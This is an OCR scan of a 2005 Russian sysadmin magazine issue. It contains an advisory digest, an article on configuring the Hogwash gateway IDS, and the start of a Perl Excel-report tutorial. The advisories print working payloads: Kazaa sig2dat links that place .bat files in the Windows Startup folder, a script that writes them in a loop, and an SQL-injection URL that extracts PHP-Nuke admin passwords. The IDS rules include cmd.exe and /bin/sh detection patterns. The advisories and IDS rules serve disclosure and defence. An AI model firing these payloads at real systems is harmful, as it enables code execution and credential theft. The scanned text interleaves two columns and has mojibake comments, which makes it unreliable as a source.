дующего содержания: После этого соединение клиента MySQL с сервером дол-
жно пройти как по маслу.
cert = /usr/local/etc/stunnel/certs/mailserver.cert В принципе работа stunnel под Linux почти ничем не от-
key = /usr/local/etc/stunnel/certs/mailserver.key
chroot = /var/tmp/stunnel/ личается от работы под FreeBSD. Единственная загвоздка
будет в том, что вместо inetd придется использовать xinetd.
pid = /stunnel.pid
setuid = stunnel Думаю, что читатель, работающий с Linux, без труда смо-
setgid = stunnel жет самостоятельно разобраться с этими мелкими несход-
debug = 7 ствами.
output = /var/log/stunnel.log Казалось бы, мы описали все возможные применения
client = yes Stunnel, но на самом деле это не так. В следующей статье
поговорим о том как с помощью stunnel проводить провер-
[mysqls]
accept = 127.0.0.1:3307 ку клиентских сертификатов и о том, какие выгоды это нам
connect = 10.10.21.29:3307 сулит.

48
bugtraq

Целочисленное переполнение Удаленный отказ


в Kazaa в протоколе Sig2Dat в обслуживании в OpenBSD
Программа: Kazaa lite k++. Программа: OpenBSD 3.5, 3.6.
Опасность: Высокая. Опасность: Высокая.
Описание: Обнаружено две уязвимости в менеджере пи- Описание: Уязвимость обнаружена в реализации TCP-сте-
ринговых сетей Kazaa. ка в OpenBSD. Удаленный атакующий может послать сис-
Целочисленное переполнение в протоколе Sig2Dat по- теме пакеты со специально сформированным значением в
зволяет вызвать отказ в обслуживании или выполнить про- TCP timestamp option и вызвать панику системы.
извольный код на уязвимой системе. Уязвимость существу- URL производителя: http://www.openbsd.org.
ет в параметре Length в байтах. Удаленный пользователь Решение: Установите патчи: ftp://ftp.openbsd.org/pub/
может передать значение, превышающее 999 999 999 и выз- OpenBSD/patches/3.5/common/027_rtt.patch и ftp://ftp.open-
вать переполнение целочисленных. Удачная эксплуатация bsd.org/pub/OpenBSD/patches/3.6/common/010_rtt.patch.
уязвимости позволит выполнить произвольный код на це-
левой системе. Пример: SQL-инъекция в модуле SGallery
<A HREF="sig2dat://%7CFile:dev-catz5%28.bin%7CLength:
для PHP-Nuke
999999999999999999999999999%20Bytes,364489KB%7CUUHash:= Программа: SGallery 1.01.
DEfm3HmvILkNcbY7j5NGa%2BD11CQ=%7C/">CLICK Опасность: Высокая.
HERE</A>
Описание: Уязвимость обнаружена в модуле SGallery для
Уязвимость в параметре File позволяет выйти за преде- PHP-Nuke. Удаленный пользователь может выполнить про-
лы директории и создать файл в любом месте раздела, ис- извольные SQL-команды, получить инсталляционный путь
пользуя символы перехода между каталогами (‘../’). Приме- к директории и в некоторых случаях выполнить произволь-
ры: ные команды на уязвимой системе.
<A HREF="sig2dat://%7CFile:../../../../../../Docume~1/All
В зависимости от настроек удаленный пользователь мо-
Users/Start Menu/Programs/Startup/cool.bat%7CLength: жет выполнить произвольный php-сценарий на сервере с
373236528%20Bytes,364489KB%7CUUHash:=DEfm3HmvILkNcbY7j5NGa%2BD11CQ привилегиями веб-сервера.
=%7C/">CLICK HERE</A>
<script> Сценарий imageview.php некорректно обрабатывает
var i данные в переменных idalbum и idimage. Удаленный атаку-
for (i=1;i<10000;i++)
{ ющий может с помощью специально сформированного URL
mylocation="<iframe src='sig2dat://% CFile:../../../../../ выполнить произвольные SQL-команды на текущей базе
../Docume~1/All Users /StartMenu/Programs/Startup/
cool"+i+".bat %7CLength:373236528%20Bytes, 364489KB% данных. Пример:
7CUUHash:=DEfm3HmvILkNcbY7j5NGa%2BD11CQ=%7C/'></iframe>";
document.write(mylocation); http://[target]/nuke75/modules/Sgallery/ ↵
} imageview.php?idimage=-99/**/UNION/
</script> **/SELECT /**/pwd/**/FROM/**/nuke_authors/**/WHERE/**/ ↵
radminsuper=1
URL производителя: http://www.kazaa.com.
Решение: Способов устранения уязвимости не существу- Удаленный пользователь может узнать путь к устано-
ет в настоящее время. вочной директории на сервере, если переменные idalbum и
idimage не определены.
URL производителя: http://www.ser.acmetelecom.ru.
Решение: Способов устранения уязвимости не существу-
Переполнение буфера ет в настоящее время.
в WebAgent websql CGI-приложении
в MySQL MaxDB Выполнение произвольного кода
Программа: MySQL MaxDB WebAgent 7.5.00.18. при обработке .psd-файлов
Опасность: Высокая. в ImageMagick
Описание: Уязвимость позволяет удаленному пользовате- Программа: ImageMagick версии до 6.1.8-8.
лю вызвать переполнение буфера и выполнить произволь- Опасность: Высокая.
ный код с правами SYSTEM. Описание: Уязвимость существует в файле coders/psd.c при
Уязвимость существует из-за ошибки при проверке дан- обработке .psd-файлов. Удаленный пользователь может со-
ных в websql CGI-приложении. Значение параметра пароля здать специально сформированный документ в формате
конвертируется в юникод и копируется в стек. Если строка Photoshop, который при обработке ImageMagick вызовет
будет длиннее 264 символов, то сохраненные значения для переполнение буфера и позволит злоумышленнику выпол-
eip и ebp будут перезаписаны. Удачная эксплуатация этой нить произвольный код на системе.
уязвимости позволит атакующему выполнить произвольный URL производителя: http://www.imagemagick.org.
код на уязвимой системе с привилегиями SYSTEM. Решение: Установите обновление: http://www.image
URL производителя: http://www.mysql.com/products/maxdb. magick.org/www/download.html.
Решение: Ограничьте доступ к административным ресур-
сам системы с помощью межсетевого экрана. Составил Александр Антипов

№1, январь 2005 49


безопасность

ВСЕ В ОДНОМ, ИЛИ Hogwash


КАК ПРИМЕР Gateway-IDS

СЕРГЕЙ ЯРЕМЧУК
В сегодняшнем далеко не благоприятном мире Интернет нию и межсетевой экран, отсекающий ненужный трафик.
администраторы должны проявлять особую бдительность Системы обнаружения атак позволяют выявить вторжение
при защите вверенных им сетей. В своей работе они ис- на различных стадиях, сканеры уязвимостей оценивают об-
пользуют средства различного характера. Здесь и марш- щую защищенность сети и, наконец, существуют виртуаль-
рутизаторы, отправляющие пакеты по целевому назначе- ные частные сети, при помощи которых можно организо-

50
безопасность
вать защищенный канал через Интернет. Каждое из этих ся, так как данная идея получила дальнейшее развитие в
средств имеет свои особенности, эффективность и, конеч- проектах вроде ebtables (http://ebtables.sourceforge.net), ко-
но же, недостатки. торые представляют уже готовое решение, позволяющее
Я думаю, нельзя не согласиться с тем, что основой се- без особых проблем собрать подобную систему. На дан-
тевой защиты является в первую очередь брандмауэр, на ный момент код ebtables официально включен в ядро 2.6,
втором месте по значимости стоит система обнаружения на указанном выше сайте можно найти патчи к еще попу-
атак. Брандмауэр способен остановить большую часть атак, лярной в народе версии 2.4. Кроме фильтрации кадров,
направленных на компьютеры. Принцип его работы прост ebtables позволяет изменять Ethernet MAC-адреса внутри
и широко известен. Такие устройства, как правило, имеют кадров и параметры маршрутизации, также никто не зап-
два сетевых интерфейса, один из которых «смотрит» во рещает использовать ebtables совместно с iptables/ip6tables/
внутреннюю сеть, а второй подключен к сети провайдера. arptables, хотя особого смысла в этом лично я не вижу. Как
Получая пакет с любого из этих интерфейсов, брандмауэр и в iptables, в ebtables имеется возможность контроля за
сверяется с правилами, анализирует заголовок пакета и соответствием MAC- и IP-адресов. Правила также имеют
принимает решение о его дальнейшем прохождении или схожий синтаксис, поэтому освоить работу с ebtables весь-
отбрасывании, после чего уменьшает TTL и переправляет ма просто.
пакет по назначению. В сетевых системах обнаружения атак
присутствует анализ содержимого пакетов, но они в боль- ebtables -A FORWARD -p IPv4 --ip-src 192.168.1.4 ↵
-s ! 00:11:22:33:44:55 -j DROP
шинстве случаев не пропускают их сквозь себя, а просто iptables -A FORWARD -s 192.168.1.4 -m mac ↵
перехватывают то, что проходит по сети. Таким образом, --mac-source ! :11:22:33:44:55 -j DROP
для того чтобы остановить атаку, им приходится либо свя-
заться с брандмауэром, либо включаться в разрыв и са- Конечно, есть и различия, исходящие из особенностей
мим заниматься отбраковкой пакетов. работы этих утилит. Так, кадр Ethernet будет отброшен рань-
Первый вариант неудобен тем, что за время реакции ше, чем IP-датаграмма. Кроме того, ebtables берет за осно-
системы начальная фаза атаки уже вполне может завер- ву МАС-адрес, который сравнивается с IP-адресом, а iptables
шиться и закрытие соединения окажется бессмысленным. поступает с точностью наоборот. Но не ebtables герой этой
При этом время реакции при существенной нагрузке в сети статьи. Итак, если возможна фильтрация Ethernet-кадров,
может увеличиваться. Второй вариант также имеет свои то почему бы не использовать и систему обнаружения атак
недостатки. Главный из них, наверное, это уменьшение на втором уровне? Преимущества данного подхода очевид-
общей надежности работы всей сети, обусловленное нали- ны. Кроме невозможности идентификации, такая система
чием дополнительного компонента, при выходе из строя сможет не только определять угрозы, но и тут же останав-
которого вся работа останавливается. Не стоит забывать и ливать их, отбрасывая кадры, изменяя настройки таблиц
о необходимости выделения адресов сетевым интерфей- маршрутизации или фильтров брандмауэра.
сам. В принципе все эти вопросы можно решить, однако,
наличие IP-адресов в такой системе позволяет очень легко Проект Hogwash
обнаружить ее при помощи того же traceroute. После этого Такой подход показался настолько логичным и простым ре-
можно выяснить тип устройства, операционную систему, шением проблемы, что когда в 1996 году Джейсон Ларсон
программное обеспечение, номер версии, чего вполне дос- (Jason Larson) и Джед Хейл (Jed Haile) столкнулись с необ-
таточно для проведения целенаправленной атаки с целью ходимостью защиты веб-сервера, был сразу же написан на-
выведения системы, а значит и всей сети, из строя. Что чальный вариант системы, позволяющей отфильтровывать
предпринять в такой ситуации? опасные пакеты использовавшиеся для вторжения. Первое
Задачу можно существенно упростить, если опуститься время проект носил название Scrub и был простым фильт-
с сетевого уровня вниз на один уровень (т.е. уровень дан- ром пакетов, работающим на втором уровне. Постепенно
ных) и начать работать непосредственно с кадрами. Вне- был разработан язык описания атак и движок детектиро-
дрение такого устройства не потребует изменения сетевых вания, который в 1999 году был заменен кодом Snort (раз-
конфигураций и может быть произведено в любой части витие последнего к тому времени шло полным ходом). При
сети. Кадры после анализа будут просто передаваться на этом проект изменил свое название на SnortScrub, кото-
другой интерфейс. И главное, поскольку устройство не име- рое, впрочем, тоже долго не продержалось, и по маркетин-
ет своего IP-адреса, то хотя его работа, в общем, и будет говым соображениям было изменено на Hogwash. В про-
заметна нападающему по косвенным признакам (например, цессе добавления новых функциональных возможностей
неудаче при проведении атаки) из-за того, что фильтрацию движок Snort оказался малопригодным для массовой об-
как таковую скрыть просто невозможно, но идентифициро- работки кадров. Поэтому в текущей и пока еще не дове-
вать устройство будет довольно тяжело (оно незаметно для денной до финала версии 0.5 происходит возрождение ста-
traceroute). рого движка «H2». Совместимость со Snort будет сохране-
Кстати, работа связки «брандмауэр + мост», позволяю- на и вынесена в отдельный слой. На данном этапе Hogwash
щей обходиться в такой системе без IP-адресов, была опи- позволяет анализировать информацию и регистрировать
сана еще в конце прошлого века в документе «Linux большие потоки данных в режиме реального времени. Си-
Bridge+Firewall Mini-HOWTO» (в русском переводе «Мини- стема, построенная с применением Hogwash, способна ре-
HOWTO: Совместное использование мостов и Firewall в агировать на сканирование, некоторые атаки, направлен-
Linux»). Вручную возиться со всем этим сейчас не придет- ные на переполнение буфера, определение типа ОС (OS

№1, январь 2005 51


безопасность
fingerprinting) и другие. Hogwash относится к классу Gateway В стартовых скриптах версии 0.4 эта строка уже имеет-
Intrusion Detection System и может быть настроен для рабо- ся, версия 0.5 пока не имеет сценариев настройки и запус-
ты в трех режимах: ка, поэтому многое придется проделывать вручную.
! Классическая система обнаружения атак (IDS). В экспериментальном на данный момент режиме управ-
! Встроенная система предотвращения атак (IPS) – ления системами HoneyPot (рис. 3), Hogwash не выполняет
Scrubber. никаких действий для остановки атаки. Вместо этого он пе-
! Контроллер обманных (HoneyPot) систем. ренаправляет нападающих к одной из обманных (HoneyPot)
систем, позволяя таким образом собрать информацию о
В первом случае Hogwash работает подобно любой дру- целях и методах злоумышленников, а также выиграть вре-
гой системе обнаружения атак (рис. 1), контролируя прохо- мя, сбить их с толку и лучше подготовиться к обороне.
дящий трафик на одном или нескольких интерфейсах и ге-
нерируя предупреждения. При этом система способна раз-
рывать подозрительные TCP-соединения и отбрасывать па-
кеты. Необходимо отметить, что сборка всего потока не про-
изводится. Если в принятом пакете имеется частичное со-
впадение с правилом, то будет принята его следующая
часть, и если правило совпадет полностью, то пакеты, при-
надлежащие данному сеансу, будут отброшены. Для обна-
ружения сканирования Hogwash отслеживает каждый но-
вый сеанс связи (tcp, udp, icmp) в течение 60 секунд, и если Ðèñóíîê 3
обнаруживается один и тот же источник, то все пакеты, при-
ходящие с него, отбрасываются. Аналогичная реакция име- Установка Hogwash
ет место и при обращении с одного источника к 20 уни- Как уже упоминалось ранее, работа над версией 0.5 еще не
кальным портам и 5 адресам. полностью закончена, так как в ней произведена первая по-
пытка возрождения движка «H2» вместо Snort. Однако сто-
ит отметить, что она является полностью работоспособной и
готовой к применению. Учитывая более адаптированный для
работы на втором уровне движок и некоторые изменения в
настройках и размещении файлов, я рекомендую остановить
свой выбор именно на ней, так как в дальнейшем будет лег-
че осваивать новые версии и обновлять продукт. Также сто-
ит отметить, что в версии 0.4 используется Snort 1.8.6, име-
Ðèñóíîê 1 ющий проблемы с безопасностью (http://www.iss.net/issEn/
При применении в качестве IPS, Hogwash активно про- delivery/xforce/alertdetail.jsp?oid=21951), заключающиеся в
сматривает трафик (рис. 2). При этом он способен не толь- возможности выполнения произвольного кода, который мо-
ко отбрасывать пакеты и изменять параметры маршрути- жет быть специально помещен в захваченных сетевых паке-
зации, но и переписывать их содержимое (т.н. процедура тах. С другой стороны, для версии 0.4 можно использовать
«промывки» пакетов), убирая опасные данные. Конечно, готовые правила Snort, а для 0.5 пока придется пользовать-
ничто не мешает использовать его и как обычный пакет- ся имеющимся набором правил и при необходимости состав-
ный фильтр. В этом режиме поддерживается одновремен- лять их самому. Кроме того, новый движок имеет только 17
ное наблюдение за 16 интерфейсами. Подключение систе- параметров для формирования правил, и их явно недоста-
мы в данном режиме к сети полностью прозрачно, так как точно, особенно для работы с UDP-пакетами.
она не имеет собственного IP-адреса. Это практически иде- Hogwash на сегодняшний день из операционных систем
альное (и к тому же труднообнаруживаемое) устройство для поддерживает только Linux, не требует наличия в ядре сте-
остановки всех известных атак. ка IP, так что при желании его можно отключить, что только
повысит общую защищенность. Также желательно наличие
MySQL, куда будут заноситься правила и «отловленные»
данные, поскольку при большом их количестве скорость об-
работки существенно возрастет. Исходный код Hogwash
свободно доступен и распространяется по лицензии GPL.
Сайт проекта http://hogwash.sourceforge.net.
Установка пакета происходит не просто, а очень просто:

Ðèñóíîê 2 # tar xzvf devel-0.5-latest.tar.gz


# cd devel-0.5
Чтобы не перегружать систему, занимаясь одним и тем
же пакетом дважды, в режиме IPS желательно (но в прин- На данный момент сценарий конфигурации не имеет ни-
ципе необязательно) отключить переадресацию. каких дополнительных параметров настройки.

echo "0" > /proc/sys/net/ipv4/ip_forward # ./configure

52
безопасность
**************************** сто NAME указывается имя файла, куда будут записывать-
Configure script for Hogwash ся результаты, и значение Threads в большинстве случаев
****************************
должно равняться 0. Необязательное поле Role содержит
Checking OS.................LINUX подсказку для Hogwash, необходимую при возможном кон-
Checking for a C compiler.../usr/bin/gcc фликте IP- и МАС-адресов, и может понадобиться для ра-
Checking endian-ness........LITTLE
Checking for MySQL..........Found боты с обманными системами. Возможны четыре значения:
Checking for daemon.........Found Internal (внутренний интерфейс), External (внешний интер-
Checking for freopen........Found
Checking for dlopen.........Found
фейс), Normal (обычный, т.е. без возможного конфликта) и
Done. Honey (сюда подключена обманная система и возможна
# make подмена адресов, чтобы нападающий ничего не заподоз-
рил). Пример настройки секции:
Размещение файлов по каталогам производится вруч-
ную. Для начала скопируем в положенное место основной <interface eth0>
Type=linux_raw
исполняемый файл. Proto=Ethernet
Role=Normal
# cp ./hogwash /usr/sbin/ </interface>

Списки IPLists необходимы для использования в прави-


Для удобства создадим отдельный каталог, в который лах и других частях файла конфигурации. Для удобства
будут помещены настройки и файлы правил. можно задать любое число списков. Имя также может быть
любым, но чтобы было легче ориентироваться, рекоменду-
# mkdir /etc/hogwash ется выбирать осмысленные названия. Возможно исполь-
# cp -R rules /etc/hogwash/
зование как отдельного адреса, так и списка адресов, в том
Для примера возможных настроек пакет содержит два числе, и в CIDR-нотации (Classless Internet Domain Routing).
конфигурационных файла stock.config и test.config. 0.0.0.0/0 означает «любой адрес».
Пример:
# cp ./stock.config /etc/hogwash
# mkdir /var/log/hogwash <IPList WebServers>
10.34.10.0/16
Теперь можно открыть файл stock.config и познакомить- </list>
ся с настройками.
<IPList DNSServers>
Для удобства работы все настройки разбиты по груп- 0.0.0.0/0
пам: system, interface, IPList, action, module, routing. Имеет- </list>
ся также экспериментальная секция mangling. <IPList FTPServers>
Раздел «system» содержит общие параметры, которые 23.3.14.10
10.2.10.3-10.2.10.6
можно оставить без изменения. </list>

<system> <IPList HonePotServer>


Name=Hogwash Sensor 23.3.14.111
</list>
ID=1001
Threads=1
# êîëè÷åñòâî ïîòîêîâ, ïðåäíàçíà÷åííûõ äëÿ îáðàáîòêè ïàêåòîâ, <IPList Green>
192.168.100.0/24
# êàê ïðàâèëî, îäèí ïîòîê íà îäèí èíòåðôåéñ (ò.å. Threads=1), </list>
# ïðè ðàáîòå íà ìíîãîïðîöåññîðíûõ ñèñòåìàõ èëè â êëàñòåðàõ
# çíà÷åíèå ìîæíî óâåëè÷èòü.
AlertHeader=%ac %m/%d/%y %h:%min:%s %sip:%sp->%dip:%dp Возможно объединение списков.
# ýòà íåîáÿçàòåëüíàÿ ñåêöèÿ óêàçûâàåò ôîðìàò çàãîëîâêîâ
# ïðåäóïðåæäåíèé, ìîæíî èçìåíèòü íà ëþáîé äðóãîé, <IPList AllServers>
# íåîáõîäèìûå äàííûå ïðèâåäåíû â òàáëèöå 1. WebServers
</system>
DNSServers
FTPServers
10.14.10.1
Для того чтобы система могла работать, необходимо </list>
обязательно указать в секции interface параметры исполь-
зуемых сетевых интерфейсов. Формат следующий: В секции action создаются наборы реакций на обнару-
жение тех или иных событий, которые затем будут исполь-
<interface NAME> зованы в правилах. Всего возможно создание 64 наборов
Type=INTERFACE TYPE
# è äâå íåîáÿçàòåëüíûõ îïöèè реакций. Например:
# ïîêà ïîääåðæèâàåòñÿ òîëüêî ýòîò ïðîòîêîë, ïîýòîìó ìîæíî
# åãî îïóñòèòü <action default>
Proto= Ethernet response=alert console
Role = INTERFACE ROLE
</interface> # âûâîä ñîîáùåíèÿ íà êîíñîëü
response=alert file(/var/log/hogwash/hogwash.alert)
# çàïèñü ïðåäóïðåæäàþùåãî ñîîáùåíèÿ â óêàçàííûé ôàéë
В поле Type можно выставить следующие значения: response=dump packet(/var/log/hogwash/packet.log)
linux_raw (Linux), obsd_bpf (OpenBSD), osx_bpf (MacOS X), # çàõâàò ïàêåòà, êîòîðûé ñãåíåðèðîâàë ñîîáùåíèå è çàïèñü â ôàéë
</action>
solaris_dlpi (Solaris, пока еще не полностью работоспособ-
ный вариант) и tcpdump. Для type= tcpdump в interface вме- <action drop>

№1, январь 2005 53


безопасность
response=alert console зависимо от того, в каком режиме сейчас работает Hogwash
response=alert file(/var/log/hogwash/hogwash.alert) (IDS, IPS или управление обманными системами). На мо-
response=dump packet(/var/log/hogwash/packet.log)
response=drop мент написания статьи в каталоге modules лежало четыре
# îòáðàñûâàíèå ïàêåòà (èãíîðèðóåòñÿ ïðè ðàáîòå â IDS-ðåæèìå) готовых модуля:
</action>
<action log> ! ATS и ATS2 от All Traffic Summary Logging, предназначе-
response=alert console ны для записи в журнал информации о событиях, проис-
response=alert file(/var/log/hogwash/hogwash.alert)
</action> ходящих в сети (протоколируется время, IP-адреса и порт
источника и получателя, а также некоторая другая ин-
Возможны также и другие реакции: формация, позволяющая идентифицировать запросы).
! Запись предупреждения в syslog: 23442543 03/12/2004 19:38:35-19:38:35
192.168.1.1:80<-192.168.1.58:24567 - T 4:4 U 0:0 I 0:0 O 0:0
response=alert syslog(facility=LOG_AUTH, ↵ Модуль ATS2 может быть полезен для сбора статисти-
priority=LOG_INFO, options=LOG_NDELAY|LOG_PID)
ческих данных. ATS является его старой версией, одно-
! Посылка предупреждения в сетевой или UNIX-сокет: временный запуск ATS и ATS2 не допускается. Запись
в один журнал ведется на протяжении часа, затем от-
response=alert socket(www.logger.com:12345) крывается новый файл.

! Запись предупреждения в базу данных: <module ATS2>


filename=(/var/log/hogwash/TEST_%y_%m_%d_%h.ats)
</module>
response=alert mysql(user=hogwash,dbase=hogwash5, ↵
host=localhost,port=3306,pass=password, ↵
logpackets=1) ! Модули WebUnique и DNSUnique позволяют находить ра-
нее неизвестные атаки, направленные на эти сервисы,
! Отправка предупреждения по e-mail: путем сбора данных и их дальнейшего анализа для вне-
сения изменений в настройки сервисов или код скрип-
response=email(host, from, to, subject) тов. Общая идея примерно такова. Большинство «нор-
мальных» посетителей сайта будут постоянно и помногу
! Экспериментальная опция, позволяющая отсылать па- раз обращаться к одним и тем же страницам, и только
кеты, удовлетворяющие определенным правилам, на злоумышленник с большой вероятностью постарается
HoneyPot-систему. В качестве параметров указывают- каждый раз загрузить что-либо уникальное. DNSUnique
ся временная задержка и адреса, с которых не должно реализует эту идею в отношении DNS.
происходить переключение на HoneyPot. При timeout = -1
перенаправление на ложный сервер будет производить- <module WebUnique>
dbase=hogwash5
ся без задержки. user=hogwash
password=password
response=bns(<timeout>, <GreenList>) host=localhost
servers=WebServers
logfile=WebUnique.log
</module>
Режим требует наличия трех сетевых карт.
<module DNSUnique>
<action honeypot> dbase=hogwash5
response=alert console user=hogwash
password=password
response=alert file(/var/log/hogwash/hogwash.alert) host=localhost
response=bns(3600, Green)
</action> servers= DNSServers
logfile= DNSUnique.log
</module>
Плюс ко всему на данный момент имеется недорабо-
танная, а потому и не описанная в документации опция Относительно недавно появился еще один простой мо-
response=route sip(<interface>, <sip>,<sip>), позволяющая дуль covert, демонстрирующий некоторые скрытые меха-
внести изменения в таблицу маршрутизации и отослать низмы обнаружения. На сегодняшний день он работает
исходящие пакеты с определенным IP-адресом в другое только с протоколом ICMP.
место, например, в систему-ловушку. Однако очень трудно Наконец, рассмотрим секцию routing, включающую ре-
представить ситуацию, когда адрес атакующего будет из- жим маршрутизации пакетов. Если этой секции нет, то
вестен заранее. К сожалению, в версии 0.5 исчезла воз- Hogwash будет работать в режиме IDS. В самом простом
можность «промывки» пакетов, опции replace в списке дей- случае, когда требуется маршрутизация, т.е. кадры отправ-
ствий нет. Объяснений от разработчиков по этому поводу ляются только на нужный интерфейс (такая система имеет
не последовало, возможно, это явление временное и свя- возможности Flood Protection), секция выглядит так.
зано с переходом на новый движок, а может быть, разра-
ботчики посчитали эту возможность лишней, т.к. для оста- <routing>
MacFilter(eth0, eth1, …)
новки вторжения достаточно отбросить пакет или перенап- </routing>
равить нападающего на обманную систему.
Секция module служит для подключения сторонних мо- Режим моста, когда пакеты после анализа и фильтра-
дулей, которые производят дополнительные проверки, не- ции передаются на другой интерфейс, включается опцией

54
безопасность
SBridge(eth0, eth1). Опция Broadcast() включает специфи- На момент написания статьи в базу было занесено 7 358
ческую обработку широковещательных Еthernet-сообщений правил, описания которых находились в следующих 7 фай-
(в реальной системе ей трудно найти применение). Опции лах: general.rules, jason.rules, nikto.rules, nimda.rules,
SIP(INTERFACE IPLIST) и DIP(INTERFACE IPLIST) схожи. stock.rules, test.rules и x11.rules. Основным является файл
Первая пропускает через указанный интерфейс все паке- stock.rules, остальные при необходимости подключаются в
ты, у которых IP-адрес источника указан в списке, вторая нем инструкциями вроде <include nikto.rules>. При желании
пропускает только те, у которых IP-адрес назначения име- правила можно занести в MySQL.
ется в списке. Использовав в этой секции опцию Теперь, когда все готово, можно запускать Hogwash.
bns(<InternetIF>, <ProductionIF>, <HoneyIF>, <BlackList>),
например, «bns(eth0,eth1,eth2, BlackList)», можно перенап- # /usr/sbin/hogwash -c stock.conf -r stock.rules &
равлять пакеты, подпадающие под действие response=bns,
на HoneyPot-систему. В данном случае BlackList содержит Для запуска в качестве демона необходимо добавить
список адресов, которые всегда должны перенаправлять- опцию –d. Если необходимо только произвести синтакси-
ся в ловушку. Желательно, чтобы HoneyPot имел такие же ческий анализ составленных правил, используется –t.
настройки, что и основная система, но вот IP-адреса у них Для автоматического запуска при старте системы луч-
должны быть обязательно одинаковыми, иначе нападаю- ше всего написать простенький скрипт.
щий заметит подлог и убежит (что тоже в принципе хоро-
шо, хотя и не всегда желательно). # mcedit /etc/hogwash/hogwash.sh
Правила обнаружения атак описываются весьма гибко.
Например, при обнаружении попытки запуска на одном из веб- Тело сценария:
серверов команды cmd.exe, правило может выглядеть так.
#!/bin/bash
<rule> PATH=/bin:/sbin:/usr/bin:/usr/sbin
ip dst(WebServers) cd /etc/hogwash
tcp dst(80) killall hogwash
tcp nocase(cmd.exe)
message=%sip:%sip->%dip:%dp cmd.exe attempt echo "0" > /proc/sys/net/ipv4/ip_forward
action=default hogwash -c stock.conf -r stock.rules –d
</rule>
Изменяем права доступа.
Или, в случае UNIX-систем:
# chmod 700 /etc/hogwash/hogwash.sh
<rule>
ip dst(WebServers)
tcp nocase(/bin/sh) И далее любым приемлемым способом прописываем
message=attempt to execute /bin/sh запуск hogwash.sh в стартовых скриптах. Например, для
action= drop
</rule> Slackware можно поступить так:
<rule>
icmp type(8) # echo /etc/hogwash/hogwash.sh >> /etc/init.d/rc.local
message=%sip-%dip icmp echo request
action=log
</rule>
Все, теперь Hogwash будет добросовестно защищать
В правила может быть включена разнообразная инфор- ваши сети.
мация, например, IP-адреса, интерфейсы, номера портов, Hogwash является простым в инсталляции и использо-
тип протокола верхнего уровня, содержащегося в Еthernet- вании Gateway-IDS. Систему такого типа достаточно тяже-
кадре (IP, ARP и т. д) или IP-датаграмме (TCP, UDP, ICMP, ло обнаружить: утилиты вроде traceroute не замечают ее и,
IGMP, PIM, OSPF), содержимое пакетов, код и тип ICMP, таким образом, риск проведения DOS сводится к миниму-
сюда же заносятся предупреждающие сообщения, выводи- му. Быстрая настройка и небольшое число регулируемых
мые при обнаружении совпадения и требуемая реакция. параметров делают Hogwash хорошим средством защиты
Сейчас разработчики работают над прямой совместимос- сетей. Возможность автоматической отсылки пакетов на
тью с правилами Snort (данная функция будет частью фи- ложные системы является несомненным достоинством,
нальной версии Hogwash 0.5). позволяющим вовремя заметить проблемные участки сети.
Òàáëèöà 1. Âîçìîæíûå äàííûå, âûâîäèìûå â ñîîáùåíèè Вполне возможно, что будущее сетевой безопасности как
раз за Hogwash и ему подобными решениями. Как говорит-
ся, поживем – увидим.

Ссылки:
1. An introduction to gateway intrusion detection systems –
http://www.blackhat.com/presentations/bh-usa-02/bh-us-02-
haile-hogwash.ppt
2. Securing an Unpatchable Webserver... HogWash! – http://
www.securityfocus.com/infocus/1208

№1, январь 2005 55


программирование

ПУТЕШЕСТВИЕ ИЗ Perl В Excel


ИСПОЛЬЗОВАНИЕ Spreadsheet::WriteExcel
ДЛЯ ФОРМИРОВАНИЯ ОТЧЕТОВ

СЕРГЕЙ СУПРУНОВ
Как было показано в статье «Внутренний веб-сервер» (жур- номеров версии, от 2.11 ее отделяет не более года), реали-
нал «Системный администратор», №10(23), октябрь 2004 г.), зующей, по всей видимости, формат BIFF7 и использую-
веб-сервер достаточно удобно использовать для быстрого щей стандартную кодировку Windows, позволяющую сохра-
развертывания несложных приложений, занимающихся сбо- нять данные в cp1251, никаких проблем ни с кодировкой
ром, обработкой и выдачей пользователям тех или иных данных, ни с кодировкой имени листа не выявила. Но по-
данных. Один из немногих недостатков такого подхода, как скольку Unicode – это, пожалуй, единственное решение
было указано, заключается в том, что не всегда удается проблем различных кодировок, то на пути к его безраздель-
распечатать качественный отчет, который не стыдно было ному господству придется претерпеть некоторые неудоб-
бы представить начальству или отослать по электронной ства.
почте, не вынуждая получателя заниматься копированием- Итак, что позволяет делать модуль WriteExcel? Он пре-
вставкой тела письма и его предпечатной (или в общем доставляет скрипту на языке Perl ряд функций для записи
плане – предварительной) обработкой. данных в файл Excel. В качестве примера создадим про-
Наиболее универсальным путем решения указанной стейший xls-документ с помощью следующего сценария:
проблемы является формирование XML-документа, рабо-
тать с которым умеют многие программы. Однако в данной Ïðèìåð 1
статье я хочу рассмотреть другой, менее универсальный, #!/usr/bin/perl -w
но более удобный для конечного пользователя способ – не- # Spreadsheel::WriteExcel tests
посредственное формирование файла в формате Excel в # Ñòàíäàðòíûé ìîäóëü äëÿ îñóùåñòâëåíèÿ ïåðåêîäèðîâîê
CGI-сценарии. Дальнейшее изложение предполагает, что use Encoding;
вы знакомы с языком Perl и его применением для CGI-сце- # Ìîäóëü äëÿ ðàáîòû ñ ôàéëàìè Excel
нариев, умеете настраивать веб-сервер, а также имеете use Spreadsheet::WriteExcel;
представление о СУБД PostgreSQL (или какой-нибудь дру- # Ïîäàâëåíèå ïðåäóïðåæäåíèé î ìíîãîáàéòíûõ ñèìâîëàõ
гой). Будет рассматриваться работа под FreeBSD, поэтому nowarnings “utf8”;
потребуется также знание базовых принципов UNIX-систем, # Ôîðìèðóåòñÿ HTTP-çàãîëîâîê
хотя заставить все описанное работать под Windows, ду- print "Content-Type: text/html\n\n";
маю, особого труда не составит. У пользователей Linux ни- print '<H3>Spreadsheet::WriteExcel test</H3>';
каких проблем возникнуть также не должно.
# Ñîçäàåòñÿ xls-ôàéë
Для решения поставленной задачи будем использовать my $workbook = Spreadsheet::WriteExcel-> ↵
имеющийся в коллекции CPAN (http://cpan.org) Perl-модуль new('../public_html/excel/test.xls');
Spreadsheet::WriteExcel, установить который во FreeBSD # Ñîçäàåòñÿ «ðàáî÷èé ëèñò» ñ èìåíåì Report
можно также и из коллекции портов (/usr/ports/textproc/p5- my $worksheet = $workbook->add_worksheet('Report');
Spreadsheet-WriteExcel), что представляется мне более удоб- # Îáúÿâëÿåòñÿ ôîðìàò ÿ÷ååê, èñïîëüçóåìûé â äàëüíåéøåì
ным. my $tabformat = $workbook->add_format();
$tabformat->set_border();
На момент написания статьи актуальной была версия
2.11. Данная версия позволяет создавать файлы в формате # Ïðèìåð âûâîäà äàííûõ áåç ïåðåêîäèðîâêè
